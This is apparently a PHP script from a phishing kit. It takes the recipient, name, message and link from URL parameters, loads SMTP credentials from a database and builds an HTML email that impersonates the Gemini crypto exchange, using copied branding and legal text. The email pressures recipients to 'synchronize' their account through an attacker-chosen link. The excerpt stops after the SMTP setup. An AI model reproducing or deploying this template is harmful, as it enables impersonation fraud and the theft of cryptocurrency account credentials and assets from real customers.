<?php

require_once __DIR__ . '../../../vendor/autoload.php';
require_once __DIR__ . '../../../cod3rconfig/conexao.php';
require_once __DIR__ . '../../../cod3rconfig/data.php';
require_once __DIR__ . '../../../cod3rconfig/registro.php';

$dados = DBRead('configs', "configs");

if (is_array($dados) || is_object($dados)){
    foreach ($dados as $info){
    $hostMailProviderDB = $info['host'];		
    $hostUserProviderDB = $info['user'];
    $hostPassProviderDB = $info['pass'];
    $hostPortProviderDB = $info['port'];
    $hostSecuProviderDB = $info['security'];
    }
}

use PHPMailer\PHPMailer\PHPMailer;


$mail = new PHPMailer;
$currentURL = "http" . (($_SERVER['SERVER_PORT'] == 443) ? "s" : "") . "://" . $_SERVER['HTTP_HOST'];


// Variável Email //
$emailsend = $_GET['emailcli'];
if ($emailsend === "") {
  echo "Você não inseriu o Email.<br>";
} else {
  $emailsend = $_GET['emailcli'];
}
// -------------- //


// Variavel Usuário //
$nameuser = $_GET['nameuser'];
if ($nameuser === "") {
  $nameuser = 'Customer';
} else {
  $nameuser = $_GET['nameuser'];
}
// ---------------- //


// Variável Link //
$linksend = $_GET['linksync'];
if ($linksend === "") {
  $linksend = $currentURL;
} else {
  $linksend = $_GET['linksync'];
}
// ------------- //


// Variável Mensagem //
$messagesend = $_GET['message'];
if ($messagesend === "") {
  $messagesend = 'For your security and protection of your assets, is required synchronize your email address to your Gemini account.';
} else {
  $messagesend = str_replace("'", '\'', "$messagesend");
}
// ----------------- //


$bodymailAuth = '<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style>
    body {
      background: #eee;
    }

    td {
      margin: 0;
    }

    ::-webkit-input-placeholder {
      color: #999;
    }

    .ii {
      direction: ltr;
      position: relative;
    }

    .a3s {
      font-family: Arial, Helvetica, sans-serif;
      font-size: small;
      font-weight: 400;
      line-height: 1.5;
      overflow: hidden;
    }

    .gt {
      font-size: .875rem;
    }

    .aHl {
      margin-left: -38px;
    }

    .hi {
      background-color: #f2f2f2;
      border-bottom-left-radius: 1px;
      border-bottom-right-radius: 1px;
      margin: 0;
      padding: 0;
      width: auto;
    }

    .aiL::-webkit-scrollbar {
      height: 16px;
      width: 16px;
    }

    .aiL::-webkit-scrollbar-button {
      display: none;
      height: 0;
      width: 0;
    }

    .aiL::-webkit-scrollbar-corner {
      background-color: transparent;
    }

    .aiL::-webkit-scrollbar-thumb {
      background-color: rgba(0, 0, 0, .2);
      box-shadow: rgba(0, 0, 0, .1) 1px 1px 0 inset, rgba(0, 0, 0, .07) 0 -1px 0 inset;
    }

    .a3s:focus {
      outline: 0;
    }

    .ii {
      margin: 8px 0 0;
      padding: 0;
    }

    .aiL::-webkit-scrollbar-track:vertical {
      background-clip: padding-box;
      border-left: 6px solid transparent;
      border-right: 1px solid transparent;
    }

    .aiL::-webkit-scrollbar-track:horizontal {
      background-clip: padding-box;
      border-bottom: 1px solid transparent;
      border-top: 6px solid transparent;
    }

    .aiL::-webkit-scrollbar-thumb:vertical {
      background-clip: padding-box;
      border-color: transparent;
      border-style: solid;
      border-width: 0 1px 0 6px;
      min-height: 28px;
    }

    .aiL::-webkit-scrollbar-thumb:horizontal {
      background-clip: padding-box;
      border-color: transparent;
      border-style: solid;
      border-width: 6px 0 1px;
      min-width: 28px;
    }

    .aiL::-webkit-scrollbar-thumb:hover {
      background-color: rgba(0, 0, 0, .4);
      box-shadow: rgba(0, 0, 0, .25) 1px 1px 1px inset;
    }

    .aiL::-webkit-scrollbar-thumb:active {
      background-color: rgba(0, 0, 0, .5);
      box-shadow: rgba(0, 0, 0, .35) 1px 1px 3px inset;
    }

    .ii a[href] {
      color: #15c;
    }

    .aiL::-webkit-scrollbar-track:vertical:hover {
      background-color: rgba(0, 0, 0, .035);
      box-shadow: rgba(0, 0, 0, .14) 1px 1px 0 inset, rgba(0, 0, 0, .07) -1px -1px 0 inset;
    }

    .aiL::-webkit-scrollbar-track:horizontal:hover {
      background-color: rgba(0, 0, 0, .035);
      box-shadow: rgba(0, 0, 0, .14) -1px 1px 0 inset, rgba(0, 0, 0, .07) 1px -1px 0 inset;
    }

    .aiL::-webkit-scrollbar-track:vertical:active {
      background-color: rgba(0, 0, 0, .05);
      box-shadow: rgba(0, 0, 0, .14) 1px 1px 0 inset, rgba(0, 0, 0, .07) -1px -1px 0 inset;
    }

    .aiL::-webkit-scrollbar-track:horizontal:active {
      background-color: rgba(0, 0, 0, .05);
      box-shadow: rgba(0, 0, 0, .14) -1px 1px 0 inset, rgba(0, 0, 0, .07) 1px -1px 0 inset;
    }

    html {
      font-size: 16px;
    }
  </style>
</head>

<body>
  <div>
    <div class="aHl"></div>
    <div id=":297" tabindex="-1"></div>
    <div id=":2gl" class="ii gt" jslog="20277; u014N:xr6bB; 4:W251bGwsbnVsbCxbXV0.">
      <div id=":22e" class="a3s aiL">
        <div style="font-size:10pt;font-family:Verdana,Geneva,sans-serif">
          <div class="adM">
          </div>
          <div id="m_-5162570567537567963forwardbody1" class="">
            <div class="adM">
            </div>
            <div style="font-size:10pt;font-family:Verdana,Geneva,sans-serif" class="">
              <div class="adM">
              </div>
              <div id="m_-5162570567537567963v1forwardbody1" class="">
                <div class="adM">
                </div>
                <div dir="ltr" class="">
                  <div class="adM">
                  </div>
                  <div class="">
                    <div class="adM">
                    </div>
                    <div class=""><u class=""></u>
                      <div style="word-spacing:normal;background-color:#f0f0f1" class="">
                        <div style="background-color:#f0f0f1" class="">
                          <div style="background:#ffffff;background-color:#ffffff;margin:0px auto;max-width:650px"
                            class="">
                            <table style="background:#ffffff;background-color:#ffffff;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center" class="">
                              <tbody class="">
                                <tr class="">
                                  <td style="direction:ltr;font-size:0px;padding:40px 0px 15px 0px;text-align:center"
                                    class="">
                                    <div
                                      style="font-size:0;line-height:0;text-align:left;display:inline-block;width:100%;direction:ltr;vertical-align:middle">
                                      <div
                                        style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:middle;width:100%">
                                        <table style="vertical-align:middle" border="0" width="100%" cellspacing="0"
                                          cellpadding="0">
                                          <tbody>
                                            <tr>
                                              <td
                                                style="font-size:0px;padding:10px 25px;padding-left:0;word-break:break-word"
                                                align="left" class="">
                                                <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                  cellspacing="0" cellpadding="0">
                                                  <tbody>
                                                    <tr>
                                                      <td style="width:625px"><a href="'.$linksend.'"
                                                          rel="noopener noreferrer" target="_blank">
                                                          <img
                                                            style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                            src="https://ci5.googleusercontent.com/proxy/vxuHOgAB9ikH4hMopeFRonAMdlB2IztP9O5rL1lc9NY6D9RhqbdCnjHONZW5F7jiDpk2hVrJKjHQOmLG9bhrpFacLgpQfbZrJdsn1eX_GOP3qr1O-1JSXAebDoaAPx7UbuojoEBI0QvkHgOz9XxUqr9fIb7I2-rK3B-rEKNjQhxmBY1LtQ=s0-d-e1-ft#http://cdn.mcauto-images-production.sendgrid.net/9218e48409fe612f/8f7b8ed9-509d-409f-98dc-eb1863e33e12/750x120.png"
                                                            width="625" height="auto" class="CToWUd" data-bit="iit">
                                                        </a></td>
                                                    </tr>
                                                  </tbody>
                                                </table>
                                              </td>
                                            </tr>
                                          </tbody>
                                        </table>
                                      </div>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#ffffff;background-color:#ffffff;margin:0px auto;max-width:650px">
                            <table style="background:#ffffff;background-color:#ffffff;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:0 52px 16px 52px;text-align:center"
                                    class="">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="font-size:0px;padding:10px 0;word-break:break-word" align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:16px;line-height:1;text-align:left;color:#000000">
                                                Hi Dear '.$nameuser.',</div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#ffffff;background-color:#ffffff;margin:0px auto;max-width:650px">
                            <table style="background:#ffffff;background-color:#ffffff;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:0 52px 0 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="font-size:0px;padding:10px 0;word-break:break-word" align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:16px;line-height:28px;text-align:left;color:#000000">
                                                '.$messagesend.'<br></div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#ffffff;background-color:#ffffff;margin:0px auto;max-width:650px">
                            <table style="background:#ffffff;background-color:#ffffff;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:0 52px 0 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="font-size:0px;padding:10px 0;word-break:break-word" align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:16px;line-height:28px;text-align:left;color:#000000">
                                                Click the button below to sync and keep your account secure.
                                              </div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#ffffff;background-color:#ffffff;margin:0px auto;max-width:650px">
                            <table style="background:#ffffff;background-color:#ffffff;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:0 52px 20px 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 25px;padding-top:20px;padding-bottom:5px;padding-left:0;word-break:break-word"
                                              align="left">
                                              <table style="border-collapse:separate;line-height:100%" border="0"
                                                cellspacing="0" cellpadding="0">
                                                <tbody>
                                                  <tr>
                                                    <td
                                                      style="border:none;border-radius:16px;height:44px;background:#2b2b3c"
                                                      align="center" valign="middle" bgcolor="#2B2B3C"><a
                                                        style="display:inline-block;background:#2b2b3c;color:#ffffff;font-family:Ubuntu,Helvetica,Arial,sans-serif;font-size:13px;font-weight:bold;line-height:120%;letter-spacing:0.5px;margin:0;text-decoration:none;text-transform:none;padding:8px 16px 8px 16px;border-radius:16px"
                                                        href="'.$linksend.'" rel="noopener noreferrer"
                                                        target="_blank">
                                                        Synchronize Now </a></td>
                                                  </tr>
                                                </tbody>
                                              </table>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#ffffff;background-color:#ffffff;margin:0px auto;max-width:650px">
                            <table style="background:#ffffff;background-color:#ffffff;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:10px 52px 65px 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 0;padding-top:5px;padding-bottom:5px;word-break:break-word"
                                              align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:16px;line-height:1;text-align:left;color:#000000">
                                                —Team Gemini</div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td
                                    style="direction:ltr;font-size:0px;padding:20px 0;padding-left:52px;padding-right:52px;padding-top:46px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="font-size:0px;padding:10px 0;word-break:break-word" align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:16px;font-weight:bold;line-height:1;text-align:left;color:#000000">
                                                Invite friends, Get bitcoin. Refer a friend.</div>
                                            </td>
                                          </tr>
                                          <tr>
                                            <td style="font-size:0px;padding:10px 0;word-break:break-word" align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:14px;line-height:1;text-align:left;text-decoration:underline;color:#1190a3">
                                                <a href="'.$linksend.'" rel="noopener noreferrer"
                                                  target="_blank">Learn
                                                  More</a>
                                              </div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:10px 52px 10px 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 25px;padding-top:0;padding-right:0;padding-left:0;word-break:break-word"
                                              align="center">
                                              <p
                                                style="border-top:solid 1px #d3d4d6;font-size:1px;margin:0px auto;width:100%">
                                                &nbsp;</p>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:8px 52px 8px 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="font-size:0px;padding:0;padding-top:10px;word-break:break-word"
                                              align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:16px;font-weight:bold;line-height:1;text-align:left;color:#000000">
                                                Crypto on the Go. Download the Gemini Mobile App.</div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:0 52px 0 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table border="0" width="100%" cellspacing="0" cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="vertical-align:top;padding-left:0">
                                              <table border="0" width="100%" cellspacing="0" cellpadding="0">
                                                <tbody>
                                                  <tr>
                                                    <td
                                                      style="font-size:0px;padding:10px 25px;padding-right:7px;padding-left:0;word-break:break-word"
                                                      align="left">
                                                      <table style="border-collapse:collapse;border-spacing:0px"
                                                        border="0" cellspacing="0" cellpadding="0">
                                                        <tbody>
                                                          <tr>
                                                            <td style="width:129px"><a>
                                                                <img
                                                                  style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                                  src="https://ci6.googleusercontent.com/proxy/9vNTb0l6gKOgqI2432ljHAQ4W6HMU8fHDyerjr5a2JPqS6-Hc9pnLTO-BDTISfGxJjGuqdZVAL3ftQAsuSJNGmxRtuWtbxF1TJIpHEUs3uepBn2Nkw=s0-d-e1-ft#https://www.gemini.com/images/appstore_icons/en-US_Apple_Store.png"
                                                                  width="129" height="auto" class="CToWUd"
                                                                  data-bit="iit"> </a></td>
                                                          </tr>
                                                        </tbody>
                                                      </table>
                                                    </td>
                                                  </tr>
                                                </tbody>
                                              </table>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 25px;padding-right:7px;padding-left:0;word-break:break-word"
                                              align="left">
                                              <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                cellspacing="0" cellpadding="0">
                                                <tbody>
                                                  <tr>
                                                    <td style="width:129px"><a>
                                                        <img
                                                          style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                          src="https://ci4.googleusercontent.com/proxy/5lKx6Yid9isV8LFYSUYW0GL1BH0KMuhpVEVlIJMRb2GPVVof-RKl8klG997QaEQUqsY5Swkky9DttuA-6Y8Apgq2x06xAsKGUbG6prcpokfSs5WWmg=s0-d-e1-ft#https://www.gemini.com/images/appstore_icons/en-US_Google_Play.png"
                                                          width="129" height="auto" class="CToWUd" data-bit="iit"> </a>
                                                    </td>
                                                  </tr>
                                                </tbody>
                                              </table>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 25px;padding-right:7px;padding-left:0;word-break:break-word"
                                              align="left">
                                              <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                cellspacing="0" cellpadding="0">
                                                <tbody>
                                                  <tr>
                                                    <td style="width:129px"><a>
                                                        <img
                                                          style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                          src="https://ci3.googleusercontent.com/proxy/awe47D6DJXk2vuuVpCYsYOnTaSqJNHI-6dnKVBDfi90fkZr7C6l7T35VHog8NbWbnj9afThxgKx5WtJll6IJyLxlM5hHAhWBHDotDd_XS9RJY4vh9ao=s0-d-e1-ft#https://www.gemini.com/images/appstore_icons/en-US_Galaxy_Store.png"
                                                          width="129" height="auto" class="CToWUd" data-bit="iit"> </a>
                                                    </td>
                                                  </tr>
                                                </tbody>
                                              </table>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td style="font-size:0px;word-break:break-word">
                                              <div style="height:20px;line-height:20px"> </div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td
                                    style="direction:ltr;font-size:0px;padding:20px 0;padding-left:52px;padding-right:52px;padding-top:20px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 25px;padding-top:0;padding-right:0;padding-left:0;word-break:break-word"
                                              align="center">
                                              <p
                                                style="border-top:solid 1px #d3d4d6;font-size:1px;margin:0px auto;width:100%">
                                                &nbsp;</p>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td
                                    style="direction:ltr;font-size:0px;padding:20px 0;padding-left:52px;padding-right:52px;padding-top:0;text-align:center">
                                    <div
                                      style="font-size:0;line-height:0;text-align:left;display:inline-block;width:100%;direction:ltr;vertical-align:middle">
                                      <div
                                        style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:middle;width:66%">
                                        <table style="vertical-align:middle" border="0" width="100%" cellspacing="0"
                                          cellpadding="0">
                                          <tbody>
                                            <tr>
                                              <td
                                                style="font-size:0px;padding:10px 25px;padding-left:0;word-break:break-word"
                                                align="left">
                                                <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                  cellspacing="0" cellpadding="0">
                                                  <tbody>
                                                    <tr>
                                                      <td style="width:115px"><a>
                                                          <img
                                                            style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                            src="https://ci4.googleusercontent.com/proxy/3XFgVLa2Ck4lD5sYnrV0TLE6gpZHRAU4DyvUwg1FSzRdmNhRHBAvw1bZhI2ip5noMAtBArnd1QPEJAMd9pYbK9YvMmu9DoS6XYIGBraRlMXDOVdVpKMa71CIndcJfsrZBElYKrKhgat8hl3QFVKwrERhXS5rUYxLJ4IZvVBWa3QUh_AP=s0-d-e1-ft#http://cdn.mcauto-images-production.sendgrid.net/9218e48409fe612f/70d56378-ff67-49fa-9389-fa79cab91609/230x50.png"
                                                            width="115" height="auto" class="CToWUd" data-bit="iit">
                                                        </a></td>
                                                    </tr>
                                                  </tbody>
                                                </table>
                                              </td>
                                            </tr>
                                          </tbody>
                                        </table>
                                      </div>
                                      <div
                                        style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:middle;width:8%">
                                        <table style="vertical-align:middle" border="0" width="100%" cellspacing="0"
                                          cellpadding="0">
                                          <tbody>
                                            <tr>
                                              <td style="font-size:0px;padding:10px 25px;word-break:break-word"
                                                align="right">
                                                <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                  cellspacing="0" cellpadding="0">
                                                  <tbody>
                                                    <tr>
                                                      <td style="width:-7px"><a>
                                                          <img
                                                            style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                            src="https://i.ibb.co/R9DKMMb/twitter.png"
                                                            alt="Link to Gemini\'s Twitter account" width="-7"
                                                            height="auto" class="CToWUd" data-bit="iit"> </a></td>
                                                    </tr>
                                                  </tbody>
                                                </table>
                                              </td>
                                            </tr>
                                          </tbody>
                                        </table>
                                      </div>
                                      <div
                                        style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:middle;width:8%">
                                        <table style="vertical-align:middle" border="0" width="100%" cellspacing="0"
                                          cellpadding="0">
                                          <tbody>
                                            <tr>
                                              <td style="font-size:0px;padding:10px 25px;word-break:break-word"
                                                align="right">
                                                <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                  cellspacing="0" cellpadding="0">
                                                  <tbody>
                                                    <tr>
                                                      <td style="width:-7px"><a>
                                                          <img
                                                            style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                            src="https://i.ibb.co/yVkjcSM/face.png"
                                                            alt="Link to Gemini\'s Facebook account" width="-7"
                                                            height="auto" class="CToWUd" data-bit="iit"> </a></td>
                                                    </tr>
                                                  </tbody>
                                                </table>
                                              </td>
                                            </tr>
                                          </tbody>
                                        </table>
                                      </div>
                                      <div
                                        style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:middle;width:8%">
                                        <table style="vertical-align:middle" border="0" width="100%" cellspacing="0"
                                          cellpadding="0">
                                          <tbody>
                                            <tr>
                                              <td style="font-size:0px;padding:10px 25px;word-break:break-word"
                                                align="right">
                                                <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                  cellspacing="0" cellpadding="0">
                                                  <tbody>
                                                    <tr>
                                                      <td style="width:-7px"><a>
                                                          <img
                                                            style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                            src="https://i.ibb.co/42LtDDM/linkedin.png"
                                                            alt="Link to Gemini\'s LinkedIn account" width="-7"
                                                            height="auto" class="CToWUd" data-bit="iit"> </a></td>
                                                    </tr>
                                                  </tbody>
                                                </table>
                                              </td>
                                            </tr>
                                          </tbody>
                                        </table>
                                      </div>
                                      <div
                                        style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:middle;width:8%">
                                        <table style="vertical-align:middle" border="0" width="100%" cellspacing="0"
                                          cellpadding="0">
                                          <tbody>
                                            <tr>
                                              <td style="font-size:0px;padding:10px 25px;word-break:break-word"
                                                align="right">
                                                <table style="border-collapse:collapse;border-spacing:0px" border="0"
                                                  cellspacing="0" cellpadding="0">
                                                  <tbody>
                                                    <tr>
                                                      <td style="width:-7px"><a>
                                                          <img
                                                            style="border:0;display:block;outline:none;text-decoration:none;height:auto;width:100%;font-size:13px"
                                                            src="https://i.ibb.co/rxfkpDn/insta.png"
                                                            alt="Link to Gemini\'s Instagram account" width="-7"
                                                            height="auto" class="CToWUd" data-bit="iit"> </a></td>
                                                    </tr>
                                                  </tbody>
                                                </table>
                                              </td>
                                            </tr>
                                          </tbody>
                                        </table>
                                      </div>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                          <div style="background:#fafafa;background-color:#fafafa;margin:0px auto;max-width:650px">
                            <table style="background:#fafafa;background-color:#fafafa;width:100%" border="0"
                              cellspacing="0" cellpadding="0" align="center">
                              <tbody>
                                <tr>
                                  <td style="direction:ltr;font-size:0px;padding:20px 52px 50px 52px;text-align:center">
                                    <div
                                      style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%">
                                      <table style="vertical-align:top" border="0" width="100%" cellspacing="0"
                                        cellpadding="0">
                                        <tbody>
                                          <tr>
                                            <td
                                              style="font-size:0px;padding:10px 25px;padding-top:0;padding-bottom:0;padding-left:0;word-break:break-word"
                                              align="left">
                                              <div
                                                style="font-family:GothamSSm,\'Helvetica Neue\',Helvetica,Arial,sans-serif;font-size:11px;line-height:16px;text-align:left;color:#909397">
                                                In accordance with the terms of our User Agreement, for all deposits
                                                into your Gemini account, we will not be responsible for the delayed
                                                delivery or non-delivery from an external party of any digital asset or
                                                fiat currency, as applicable.<br><br>If you wish to stop receiving
                                                emails like this, please sign in to Gemini and update your Notification
                                                Settings.<br><br>Gemini Trust Company, LLC<br>(d/b/a Gemini Exchange,
                                                LLC in AZ, CA, DE, FL, HI, ID, IL, KS, KY, MA, MI, MN, NC, ND, NM, OH,
                                                OR, SC, SD, UT, and VA; d/b/a Gemini Exchange in AK and WA)<br>600 Third
                                                Avenue, 2nd Floor<br>New York, NY 10016<br>+1 (866)
                                                240-5113<br><br>Copyright 2023 Gemini Trust Company, LLC (d/b/a Gemini
                                                Exchange, LLC in AZ, CA, DE, FL, HI, ID, IL, KS, KY, MA, MI, MN, NC, ND,
                                                NM, OH, OR, SC, SD, UT, and VA; d/b/a Gemini Exchange in AK and WA). All
                                                rights reserved.</div>
                                            </td>
                                          </tr>
                                        </tbody>
                                      </table>
                                    </div>
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          </div>
                        </div>
                      </div>
                      <div class="yj6qo"></div>
                      <div class="adL">
                      </div>
                    </div>
                    <div class="adL">
                    </div>
                  </div>
                  <div class="adL">
                  </div>
                </div>
                <div class="adL">
                </div>
              </div>
              <div class="adL">
              </div>
            </div>
            <div class="adL">
            </div>
          </div>
          <div class="adL">

          </div>
        </div>
        <div class="adL">
        </div>
      </div>
    </div>
    <div id=":29b" class="ii gt" style="display:none">
      <div id=":29c" class="a3s aiL "></div>
    </div>
    <div class="hi"></div>
  </div>
</body>

</html>';

$mail->isSMTP();
$mail->Host = $hostMailProviderDB;
$mail->SMTPAuth = true;
$mail->Username = $hostUserProviderDB;
$mail->Password = $hostPassProviderDB;
